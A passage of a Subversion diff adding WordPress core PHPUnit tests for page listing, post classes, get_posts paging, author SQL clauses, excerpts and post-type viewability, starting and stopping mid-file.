+		 * page 2 (parent 0)
+		 *
+		 * If hierarchical is true (default), and child_of is not empty, pages will be returned
+		 * hierarchically in order of creation: 3, 4, 5.
+		 */
+
+		$this->assertEqualSets( array( $page_3, $page_4, $page_5 ), wp_list_pluck( $pages, 'ID' ) );
+	}
+
+	/**
+	 * @ticket 18701
+	 */
+	public function test_get_pages_non_hierarchical_non_empty_child_of() {
+		$page_1 = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		$page_2 = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		$page_3 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_1 ) );
+		$page_4 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_3 ) );
+		$page_5 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_1 ) );
+
+		$pages = get_pages( array( 'hierarchical' => false, 'child_of' => $page_1 ) );
+
+		/*
+		 * Page tree:
+		 *
+		 * page 1 (parent 0)
+		 * – page 3 (parent 1)
+		 * –– page 4 (parent 3)
+		 * – page 5 (parent 1)
+		 * page 2 (parent 0)
+		 *
+		 * If hierarchical is false, and child_of is not empty, pages will (apparently) be returned
+		 * hierarchically anyway in order of creation: 3, 4, 5.
+		 */
+		$this->assertEqualSets( array( $page_3, $page_4, $page_5 ), wp_list_pluck( $pages, 'ID' ) );
+
+		// How it should work.
+		$found_pages = wp_list_filter( $pages, array( 'post_parent' => $page_1 ) );
+		$this->assertEqualSets( array( $page_3, $page_5 ), wp_list_pluck( $found_pages, 'ID' ) );
+
+	}
+
+	function test_wp_list_pages_classes() {
+		$type = 'taco';
+		register_post_type( $type, array( 'hierarchical' => true, 'public' => true ) );
+
+		$posts = self::factory()->post->create_many( 2, array( 'post_type' => $type ) );
+		$post_id = reset( $posts );
+
+		$this->go_to( "/?p=$post_id&post_type=$type" );
+
+		$this->assertEquals( $post_id, get_queried_object_id() );
+
+		$output = wp_list_pages( array(
+			'echo' => false,
+			'title_li' => '',
+			'post_type' => $type
+		) );
+
+		$this->assertNotEmpty( $output );
+		$this->assertEquals( 2, substr_count( $output, 'class="page_item ' ) );
+		$this->assertContains( 'current_page_item', $output );
+		$this->assertEquals( 1, substr_count( $output, 'current_page_item' ) );
+
+		_unregister_post_type( $type );
+	}
+
+	function test_exclude_tree() {
+		$post_id1 = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		$post_id2 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $post_id1 ) );
+		$post_id3 = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		$post_id4 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $post_id3 ) );
+
+		$all = get_pages();
+
+		$this->assertCount( 4, $all );
+
+		$exclude1 = get_pages( "exclude_tree=$post_id1" );
+		$this->assertCount( 2, $exclude1 );
+
+		$exclude2 = get_pages( array( 'exclude_tree' => $post_id1 ) );
+		$this->assertCount( 2, $exclude2 );
+
+		$exclude3 = get_pages( array( 'exclude_tree' => array( $post_id1 ) ) );
+		$this->assertCount( 2, $exclude3 );
+
+		$exclude4 = get_pages( array( 'exclude_tree' => array( $post_id1, $post_id2 ) ) );
+		$this->assertCount( 2, $exclude4 );
+
+		$exclude5 = get_pages( array( 'exclude_tree' => array( $post_id1, $post_id3 ) ) );
+		$this->assertCount( 0, $exclude5 );
+
+		$post_id5 = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		$post_id6 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $post_id5 ) );
+
+		$exclude6 = get_pages( array( 'exclude_tree' => array( $post_id1, $post_id3 ) ) );
+		$this->assertCount( 2, $exclude6 );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/getPostClass.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/getPostClass.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/getPostClass.php	(revision 56912)
@@ -0,0 +1,125 @@
+<?php
+
+/**
+ * @group post
+ * @covers ::get_post_class
+ */
+class Tests_Post_GetPostClass extends WP_UnitTestCase {
+	protected $post_id;
+
+	public function setUp() {
+		parent::setUp();
+		$this->post_id = self::factory()->post->create();
+	}
+
+	public function test_with_tags() {
+		wp_set_post_terms( $this->post_id, array( 'foo', 'bar' ), 'post_tag' );
+
+		$found = get_post_class( '', $this->post_id );
+
+		$this->assertContains( 'tag-foo', $found );
+		$this->assertContains( 'tag-bar', $found );
+	}
+
+	public function test_with_categories() {
+		$cats = self::factory()->category->create_many( 2 );
+		wp_set_post_terms( $this->post_id, $cats, 'category' );
+
+		$cat0 = get_term( $cats[0], 'category' );
+		$cat1 = get_term( $cats[1], 'category' );
+
+		$found = get_post_class( '', $this->post_id );
+
+		$this->assertContains( 'category-' . $cat0->slug, $found );
+		$this->assertContains( 'category-' . $cat1->slug, $found );
+	}
+
+	public function test_with_custom_taxonomy() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		wp_set_post_terms( $this->post_id, array( 'foo', 'bar' ), 'wptests_tax' );
+
+		$found = get_post_class( '', $this->post_id );
+
+		$this->assertContains( 'wptests_tax-foo', $found );
+		$this->assertContains( 'wptests_tax-bar', $found );
+	}
+
+	/**
+	 * @ticket 22271
+	 */
+	public function test_with_custom_classes_and_no_post() {
+		$this->assertEquals( array(), get_post_class( '', null ) );
+		$this->assertEquals( array( 'foo' ), get_post_class( 'foo', null ) );
+		$this->assertEquals( array( 'foo', 'bar' ),  get_post_class( array( 'foo', 'bar' ), null ) );
+	}
+
+	/**
+	 * @ticket 30883
+	 */
+	public function test_with_utf8_category_slugs() {
+		$cat_id1 = self::factory()->category->create( array( 'name' => 'Первая рубрика' ) );
+		$cat_id2 = self::factory()->category->create( array( 'name' => 'Вторая рубрика' ) );
+		$cat_id3 = self::factory()->category->create( array( 'name' => '25кадр' ) );
+		wp_set_post_terms( $this->post_id, array( $cat_id1, $cat_id2, $cat_id3 ), 'category' );
+
+		$found = get_post_class( '', $this->post_id );
+
+		$this->assertContains( "category-$cat_id1", $found );
+		$this->assertContains( "category-$cat_id2", $found );
+		$this->assertContains( "category-$cat_id3", $found );
+	}
+
+	/**
+	 * @ticket 30883
+	 */
+	public function test_with_utf8_tag_slugs() {
+		$tag_id1 = self::factory()->tag->create( array( 'name' => 'Первая метка' ) );
+		$tag_id2 = self::factory()->tag->create( array( 'name' => 'Вторая метка' ) );
+		$tag_id3 = self::factory()->tag->create( array( 'name' => '25кадр' ) );
+		wp_set_post_terms( $this->post_id, array( $tag_id1, $tag_id2, $tag_id3 ), 'post_tag' );
+
+		$found = get_post_class( '', $this->post_id );
+
+		$this->assertContains( "tag-$tag_id1", $found );
+		$this->assertContains( "tag-$tag_id2", $found );
+		$this->assertContains( "tag-$tag_id3", $found );
+	}
+
+	/**
+	 * @ticket 30883
+	 */
+	public function test_with_utf8_term_slugs() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$term_id1 = self::factory()->term->create( array( 'taxonomy' => 'wptests_tax', 'name' => 'Первая метка' ) );
+		$term_id2 = self::factory()->term->create( array( 'taxonomy' => 'wptests_tax', 'name' => 'Вторая метка' ) );
+		$term_id3 = self::factory()->term->create( array( 'taxonomy' => 'wptests_tax', 'name' => '25кадр' ) );
+		wp_set_post_terms( $this->post_id, array( $term_id1, $term_id2, $term_id3 ), 'wptests_tax' );
+
+		$found = get_post_class( '', $this->post_id );
+
+		$this->assertContains( "wptests_tax-$term_id1", $found );
+		$this->assertContains( "wptests_tax-$term_id2", $found );
+		$this->assertContains( "wptests_tax-$term_id3", $found );
+	}
+
+	/**
+	 * @group cache
+	 */
+	public function test_taxonomy_classes_hit_cache() {
+		global $wpdb;
+
+		register_taxonomy( 'wptests_tax', 'post' );
+		wp_set_post_terms( $this->post_id, array( 'foo', 'bar' ), 'wptests_tax' );
+		wp_set_post_terms( $this->post_id, array( 'footag', 'bartag' ), 'post_tag' );
+
+		// Prime cache, including meta cache, which is used by get_post_class().
+		update_object_term_cache( $this->post_id, 'post' );
+		update_meta_cache( 'post', $this->post_id );
+
+		$num_queries = $wpdb->num_queries;
+
+		$found = get_post_class( '', $this->post_id );
+
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/getPosts.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/getPosts.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/getPosts.php	(revision 56912)
@@ -0,0 +1,128 @@
+<?php
+
+/**
+ * @group post
+ * @group query
+ */
+class Tests_Post_GetPosts extends WP_UnitTestCase {
+	public function test_offset_should_be_null_by_default() {
+		$p1 = self::factory()->post->create( array(
+			'post_date' => '2015-04-04 04:04:04',
+		) );
+		$p2 = self::factory()->post->create( array(
+			'post_date' => '2014-04-04 04:04:04',
+		) );
+
+		$found = get_posts( array(
+			'numberposts' => 1,
+			'orderby' => 'date',
+			'order' => 'DESC',
+			'fields' => 'ids',
+		) );
+
+		$this->assertSame( array( $p1 ), $found );
+	}
+
+	public function test_offset_0_should_be_respected() {
+		$p1 = self::factory()->post->create( array(
+			'post_date' => '2015-04-04 04:04:04',
+		) );
+		$p2 = self::factory()->post->create( array(
+			'post_date' => '2014-04-04 04:04:04',
+		) );
+
+		$found = get_posts( array(
+			'numberposts' => 1,
+			'orderby' => 'date',
+			'order' => 'DESC',
+			'fields' => 'ids',
+			'offset' => 0,
+		) );
+
+		$this->assertSame( array( $p1 ), $found );
+	}
+
+	public function test_offset_non_0_should_be_respected() {
+		$p1 = self::factory()->post->create( array(
+			'post_date' => '2015-04-04 04:04:04',
+		) );
+		$p2 = self::factory()->post->create( array(
+			'post_date' => '2014-04-04 04:04:04',
+		) );
+
+		$found = get_posts( array(
+			'numberposts' => 1,
+			'orderby' => 'date',
+			'order' => 'DESC',
+			'fields' => 'ids',
+			'offset' => 1,
+		) );
+
+		$this->assertSame( array( $p2 ), $found );
+	}
+
+	/**
+	 * @ticket 34060
+	 */
+	public function test_paged_should_not_be_overridden_by_default_offset() {
+		$p1 = self::factory()->post->create( array(
+			'post_date' => '2015-04-04 04:04:04',
+		) );
+		$p2 = self::factory()->post->create( array(
+			'post_date' => '2014-04-04 04:04:04',
+		) );
+
+		$found = get_posts( array(
+			'orderby' => 'date',
+			'order' => 'DESC',
+			'fields' => 'ids',
+			'paged' => 2,
+			'posts_per_page' => 1,
+		) );
+
+		$this->assertSame( array( $p2 ), $found );
+	}
+
+	public function test_explicit_offset_0_should_override_paged() {
+		$p1 = self::factory()->post->create( array(
+			'post_date' => '2015-04-04 04:04:04',
+		) );
+		$p2 = self::factory()->post->create( array(
+			'post_date' => '2014-04-04 04:04:04',
+		) );
+
+		$found = get_posts( array(
+			'orderby' => 'date',
+			'order' => 'DESC',
+			'fields' => 'ids',
+			'paged' => 2,
+			'posts_per_page' => 1,
+			'offset' => 0,
+		) );
+
+		$this->assertSame( array( $p1 ), $found );
+	}
+
+	public function test_explicit_offset_non_0_should_override_paged() {
+		$p1 = self::factory()->post->create( array(
+			'post_date' => '2015-04-04 04:04:04',
+		) );
+		$p2 = self::factory()->post->create( array(
+			'post_date' => '2014-04-04 04:04:04',
+		) );
+		$p3 = self::factory()->post->create( array(
+			'post_date' => '2013-04-04 04:04:04',
+		) );
+
+		$found = get_posts( array(
+			'orderby' => 'date',
+			'order' => 'DESC',
+			'fields' => 'ids',
+			'paged' => 2,
+			'posts_per_page' => 1,
+			'offset' => 2,
+		) );
+
+		$this->assertSame( array( $p3 ), $found );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/getPostsByAuthorSql.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/getPostsByAuthorSql.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/getPostsByAuthorSql.php	(revision 56912)
@@ -0,0 +1,151 @@
+<?php
+
+/**
+ * @group post
+ */
+class Tests_Post_GetPostsByAuthorSql extends WP_UnitTestCase {
+
+	public function test_post_type_post(){
+		$maybe_string = get_posts_by_author_sql( 'post' );
+		$this->assertContains( "post_type = 'post'", $maybe_string );
+	}
+
+	public function test_post_type_page(){
+		$maybe_string = get_posts_by_author_sql( 'page' );
+		$this->assertContains( "post_type = 'page'", $maybe_string );
+	}
+
+	public function test_non_existent_post_type(){
+		$maybe_string = get_posts_by_author_sql( 'non_existent_post_type' );
+		$this->assertContains( '1 = 0', $maybe_string );
+	}
+
+	public function test_multiple_post_types(){
+		register_post_type( 'foo' );
+		register_post_type( 'bar' );
+
+		$maybe_string = get_posts_by_author_sql( array( 'foo', 'bar' ) );
+		$this->assertContains( "post_type = 'foo'", $maybe_string );
+		$this->assertContains( "post_type = 'bar'", $maybe_string );
+
+		_unregister_post_type( 'foo' );
+		_unregister_post_type( 'bar' );
+	}
+
+	public function test_full_true(){
+		$maybe_string = get_posts_by_author_sql( 'post', true );
+		$this->assertRegExp( '/^WHERE /', $maybe_string );
+	}
+
+	public function test_full_false(){
+		$maybe_string = get_posts_by_author_sql( 'post', false );
+		$this->assertNotRegExp( '/^WHERE /', $maybe_string );
+	}
+
+	public function test_post_type_clause_should_be_included_when_full_is_true(){
+		$maybe_string = get_posts_by_author_sql( 'post', true );
+		$this->assertContains( "post_type = 'post'", $maybe_string );
+	}
+
+	public function test_post_type_clause_should_be_included_when_full_is_false(){
+		$maybe_string = get_posts_by_author_sql( 'post', false );
+		$this->assertContains( "post_type = 'post'", $maybe_string );
+	}
+
+	public function test_post_author_should_create_post_author_clause(){
+		$maybe_string = get_posts_by_author_sql( 'post', true, 1  );
+		$this->assertContains( 'post_author = 1', $maybe_string );
+	}
+
+	public function test_public_only_true_should_not_allow_any_private_posts_for_loggedin_user(){
+		$current_user = get_current_user_id();
+		$u = self::factory()->user->create();
+		wp_set_current_user( $u );
+
+		$maybe_string = get_posts_by_author_sql( 'post', true, $u, true );
+		$this->assertNotContains( "post_status = 'private'", $maybe_string );
+
+		wp_set_current_user( $current_user );
+	}
+
+	public function test_public_only_should_default_to_false(){
+		$current_user = get_current_user_id();
+		$u = self::factory()->user->create();
+		wp_set_current_user( $u );
+
+		$this->assertSame( get_posts_by_author_sql( 'post', true, $u, false ), get_posts_by_author_sql( 'post', true, $u ) );
+
+		wp_set_current_user( $current_user );
+	}
+
+	public function test_public_only_false_should_allow_current_user_access_to_own_private_posts_when_current_user_matches_post_author(){
+		$current_user = get_current_user_id();
+		$u = self::factory()->user->create();
+		wp_set_current_user( $u );
+
+		$maybe_string = get_posts_by_author_sql( 'post', true, $u, false );
+		$this->assertContains( "post_status = 'private'", $maybe_string );
+
+		wp_set_current_user( $current_user );
+	}
+
+	public function test_public_only_false_should_not_allow_access_to_private_posts_if_current_user_is_not_post_author(){
+		$current_user = get_current_user_id();
+		$u1 = self::factory()->user->create();
+		$u2 = self::factory()->user->create();
+		wp_set_current_user( $u1 );
+
+		$maybe_string = get_posts_by_author_sql( 'post', true, $u2, false );
+		$this->assertNotContains( "post_status = 'private'", $maybe_string );
+
+		wp_set_current_user( $current_user );
+	}
+
+	public function test_public_only_false_should_allow_current_user_access_to_own_private_posts_when_post_author_is_not_provided(){
+		$current_user = get_current_user_id();
+		$u = self::factory()->user->create();
+		wp_set_current_user( $u );
+
+		$maybe_string = get_posts_by_author_sql( 'post', true, $u, false );
+		$this->assertContains( "post_status = 'private'", $maybe_string );
+		$this->assertContains( "post_author = $u", $maybe_string );
+
+		wp_set_current_user( $current_user );
+	}
+
+	public function test_administrator_should_have_access_to_private_posts_when_public_only_is_false(){
+		$current_user = get_current_user_id();
+		$u = self::factory()->user->create( array( 'role' => 'administrator' ) );
+		wp_set_current_user( $u );
+
+		$maybe_string = get_posts_by_author_sql( 'post', true, null, false );
+		$this->assertContains( "post_status = 'private'", $maybe_string );
+		$this->assertNotContains( 'post_author', $maybe_string );
+
+		wp_set_current_user( $current_user );
+	}
+
+	public function test_user_has_access_only_to_private_posts_for_certain_post_types(){
+		register_post_type( 'foo', array( 'capabilities' => array( 'read_private_posts' => 'read_private_foo' ) )  );
+		register_post_type( 'bar', array( 'capabilities' => array( 'read_private_posts' => 'read_private_bar' ) ) );
+		register_post_type( 'baz', array( 'capabilities' => array( 'read_private_posts' => 'read_private_baz' ) ) );
+		$current_user = get_current_user_id();
+		$u = self::factory()->user->create( array( 'role' => 'editor' ) );
+		$editor_role = get_role('editor');
+		$editor_role->add_cap( 'read_private_baz' );
+		wp_set_current_user( $u );
+
+		$maybe_string = get_posts_by_author_sql( array( 'foo', 'bar', 'baz' ) );
+
+		$editor_role->remove_cap( 'read_private_baz' );
+
+		$this->assertNotContains( "post_type = 'foo' AND ( post_status = 'publish' OR post_status = 'private' )", $maybe_string );
+		$this->assertNotContains( "post_type = 'bar' AND ( post_status = 'publish' OR post_status = 'private' )", $maybe_string );
+		$this->assertContains( "post_type = 'baz' AND ( post_status = 'publish' OR post_status = 'private' )", $maybe_string );
+
+		_unregister_post_type( 'foo' );
+		_unregister_post_type( 'bar' );
+		_unregister_post_type( 'baz' );
+		wp_set_current_user( $current_user );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/getTheExcerpt.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/getTheExcerpt.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/getTheExcerpt.php	(revision 56912)
@@ -0,0 +1,55 @@
+<?php
+
+/**
+ * @group post
+ * @group formatting
+ */
+class Tests_Post_GetTheExcerpt extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 27246
+	 */
+	public function test_the_excerpt_invalid_post() {
+		$this->assertSame( '', get_echo( 'the_excerpt' ) );
+		$this->assertSame( '', get_the_excerpt() );
+	}
+
+	/**
+	 * @ticket 27246
+	 * @expectedDeprecated get_the_excerpt
+	 */
+	public function test_the_excerpt_deprecated() {
+		$this->assertSame( '', get_the_excerpt( true ) );
+		$this->assertSame( '', get_the_excerpt( false ) );
+	}
+
+	/**
+	 * @ticket 27246
+	 */
+	public function test_the_excerpt() {
+		$GLOBALS['post'] = self::factory()->post->create_and_get( array( 'post_excerpt' => 'Post excerpt' ) );
+		$this->assertSame( "<p>Post excerpt</p>\n", get_echo( 'the_excerpt' ) );
+		$this->assertSame( 'Post excerpt', get_the_excerpt() );
+	}
+
+	/**
+	 * @ticket 27246
+	 * @ticket 35486
+	 */
+	public function test_the_excerpt_password_protected_post() {
+		$post = self::factory()->post->create_and_get( array( 'post_excerpt' => 'Post excerpt', 'post_password' => '1234' ) );
+		$this->assertSame( 'There is no excerpt because this is a protected post.', get_the_excerpt( $post ) );
+
+		$GLOBALS['post'] = $post;
+		$this->assertSame( "<p>There is no excerpt because this is a protected post.</p>\n", get_echo( 'the_excerpt' ) );
+	}
+
+	/**
+	 * @ticket 27246
+	 */
+	public function test_the_excerpt_specific_post() {
+		$GLOBALS['post'] = self::factory()->post->create_and_get( array( 'post_excerpt' => 'Foo' ) );
+		$post_id = self::factory()->post->create( array( 'post_excerpt' => 'Bar' ) );
+		$this->assertSame( 'Bar', get_the_excerpt( $post_id ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/isPostTypeViewable.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/isPostTypeViewable.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/isPostTypeViewable.php	(revision 56912)
@@ -0,0 +1,94 @@
+<?php
+
+/**
+ * @group post
+ */
+class Tests_Post_IsPostTypeViewable extends WP_UnitTestCase {
+	public function test_should_return_false_for_non_publicly_queryable_types() {
+		register_post_type( 'wptests_pt', array(
+			'publicly_queryable' => false,
+			'_builtin' => false,
+			'public' => true,
+		) );
+
+		$pt = get_post_type_object( 'wptests_pt' );
+
+		$this->assertFalse( is_post_type_viewable( $pt ) );
+	}
+
+	public function test_should_return_true_for_publicly_queryable_types() {
+		register_post_type( 'wptests_pt', array(
+			'publicly_queryable' => true,
+			'_builtin' => false,
+			'public' => false,
+		) );
+
+		$pt = get_post_type_object( 'wptests_pt' );
+
+		$this->assertTrue( is_post_type_viewable( $pt ) );
+	}
+
+	public function test_should_return_false_for_builtin_nonpublic_types() {
+		register_post_type( 'wptests_pt', array(
+			'publicly_queryable' => false,
+			'_builtin' => true,
+			'public' => false,
+		) );
+
+		$pt = get_post_type_object( 'wptests_pt' );
+
+		$this->assertFalse( is_post_type_viewable( $pt ) );
+	}
+
+	public function test_should_return_false_for_nonbuiltin_public_types() {
+		register_post_type( 'wptests_pt', array(
+			'publicly_queryable' => false,
+			'_builtin' => false,
+			'public' => true,
+		) );
+
+		$pt = get_post_type_object( 'wptests_pt' );
+
+		$this->assertFalse( is_post_type_viewable( $pt ) );
+	}
+
+	public function test_should_return_true_for_builtin_public_types() {
+		register_post_type( 'wptests_pt', array(
+			'publicly_queryable' => false,
+			'_builtin' => true,
+			'public' => true,
+		) );
+
+		$pt = get_post_type_object( 'wptests_pt' );
+
+		$this->assertTrue( is_post_type_viewable( $pt ) );
+	}
+
+	public function test_postpage_should_be_viewable() {
+		$post = get_post_type_object( 'post' );
+		$this->assertTrue( is_post_type_viewable( $post ) );
+
+		$page = get_post_type_object( 'page' );
+		$this->assertTrue( is_post_type_viewable( $page ) );
+	}
+
+	/**
+	 * @ticket 35609
+	 */
+	public function test_should_accept_post_type_name() {
+		register_post_type( 'wptests_pt', array(
+			'publicly_queryable' => true,
+			'_builtin' => false,
+			'public' => false,
+		) );
+
+		$this->assertTrue( is_post_type_viewable( 'wptests_pt' ) );
+	}
+
+	/**
+	 * @ticket 35609
+	 */
+	public function test_should_return_false_for_bad_post_type_name() {
+		$this->assertFalse( is_post_type_viewable( 'foo' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/listPages.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/listPages.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/listPages.php	(revision 56912)
@@ -0,0 +1,362 @@
+<?php
+
+class Tests_List_Pages extends WP_UnitTestCase {
+	var $pages;
+
+	protected $time = null;
+
+	/*
+	$defaults = array(
+		'depth' => 0,
+		'show_date' => '',
+		'date_format' => get_option('date_format'),
+		'child_of' => 0,
+		'exclude' => '',
+		'title_li' => __('Pages'),
+		'echo' => 1,
+		'authors' => '',
+		'sort_column' => 'menu_order, post_title',
+		'link_before' => '',
+		'link_after' => '',
+		'walker' => '',
+		'item_spacing' => 'preserve',
+		'include'      => '',
+		'post_type'    => 'page',
+		'post_status'  => 'publish',
+	);
+	*/
+	function setUp() {
+		parent::setUp();
+		global $wpdb;
+		$wpdb->query( 'TRUNCATE ' . $wpdb->prefix . 'posts' );
+		$this->time = time();
+		$post_date = date( 'Y-m-d H:i:s', $this->time );
+		$pages = array();
+		self::factory()->user->create();
+		$pages[] = self::factory()->post->create( array( 'post_type' => 'page', 'post_title' => 'Parent 1', 'post_date' => $post_date ) );
+		$pages[] = self::factory()->post->create( array( 'post_type' => 'page', 'post_title' => 'Parent 2', 'post_date' => $post_date ) );
+		$pages[] = self::factory()->post->create( array( 'post_type' => 'page', 'post_title' => 'Parent 3', 'post_author' => '2', 'post_date' => $post_date ) );
+
+		foreach ( $pages as $page ) {
+			$this->pages[$page] = self::factory()->post->create( array( 'post_parent' => $page, 'post_type' => 'page', 'post_title' => 'Child 1', 'post_date' => $post_date ) );
+			$this->pages[$page] = self::factory()->post->create( array( 'post_parent' => $page, 'post_type' => 'page', 'post_title' => 'Child 2', 'post_date' => $post_date ) );
+			$this->pages[$page] = self::factory()->post->create( array( 'post_parent' => $page, 'post_type' => 'page', 'post_title' => 'Child 3', 'post_date' => $post_date ) );
+		}
+	}
+
+	function test_wp_list_pages_default() {
+		$args = array(
+			'echo' => false
+		);
+		$expected['default'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1</a></li>
+	<li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">Child 2</a></li>
+	<li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">Child 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">Child 1</a></li>
+	<li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">Child 2</a></li>
+	<li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">Child 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-10"><a href="' . get_permalink( 10 ) . '">Child 1</a></li>
+	<li class="page_item page-item-11"><a href="' . get_permalink( 11 ) . '">Child 2</a></li>
+	<li class="page_item page-item-12"><a href="' . get_permalink( 12 ) . '">Child 3</a></li>
+</ul>
+</li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['default'], $actual );
+	}
+
+	function test_wp_list_pages_depth() {
+		$args = array(
+			'echo' 	=> false,
+			'depth' => 1
+		);
+		$expected['depth'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a></li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a></li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a></li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['depth'], $actual );
+	}
+
+	function test_wp_list_pages_show_date() {
+		$args = array(
+			'echo' => false,
+			'depth' => 1,
+			'show_date' => true
+		);
+		$date = date( get_option( 'date_format' ), $this->time );
+		$expected['show_date'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a> ' . $date . '</li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a> ' . $date . '</li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a> ' . $date . '</li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['show_date'], $actual );
+	}
+
+	function test_wp_list_pages_date_format() {
+		$args = array(
+			'echo' => false,
+			'show_date' => true,
+			'date_format' => 'l, F j, Y'
+		);
+		$date = date( $args['date_format'], $this->time );
+		$expected['date_format'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a> ' . $date . '
+<ul class=\'children\'>
+	<li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1</a> ' . $date . '</li>
+	<li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">Child 2</a> ' . $date . '</li>
+	<li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">Child 3</a> ' . $date . '</li>
+</ul>
+</li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a> ' . $date . '
+<ul class=\'children\'>
+	<li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">Child 1</a> ' . $date . '</li>
+	<li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">Child 2</a> ' . $date . '</li>
+	<li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">Child 3</a> ' . $date . '</li>
+</ul>
+</li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a> ' . $date . '
+<ul class=\'children\'>
+	<li class="page_item page-item-10"><a href="' . get_permalink( 10 ) . '">Child 1</a> ' . $date . '</li>
+	<li class="page_item page-item-11"><a href="' . get_permalink( 11 ) . '">Child 2</a> ' . $date . '</li>
+	<li class="page_item page-item-12"><a href="' . get_permalink( 12 ) . '">Child 3</a> ' . $date . '</li>
+</ul>
+</li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['date_format'], $actual );
+	}
+
+	function test_wp_list_pages_child_of() {
+		$args = array(
+			'echo' => false,
+			'child_of' => 2
+		);
+		$expected['child_of'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">Child 1</a></li>
+<li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">Child 2</a></li>
+<li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">Child 3</a></li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['child_of'], $actual );
+	}
+
+	function test_wp_list_pages_exclude() {
+		$args = array(
+			'echo' => false,
+			'exclude' => '2, 2'
+		);
+		$expected['exclude'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1</a></li>
+	<li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">Child 2</a></li>
+	<li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">Child 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-10"><a href="' . get_permalink( 10 ) . '">Child 1</a></li>
+	<li class="page_item page-item-11"><a href="' . get_permalink( 11 ) . '">Child 2</a></li>
+	<li class="page_item page-item-12"><a href="' . get_permalink( 12 ) . '">Child 3</a></li>
+</ul>
+</li>
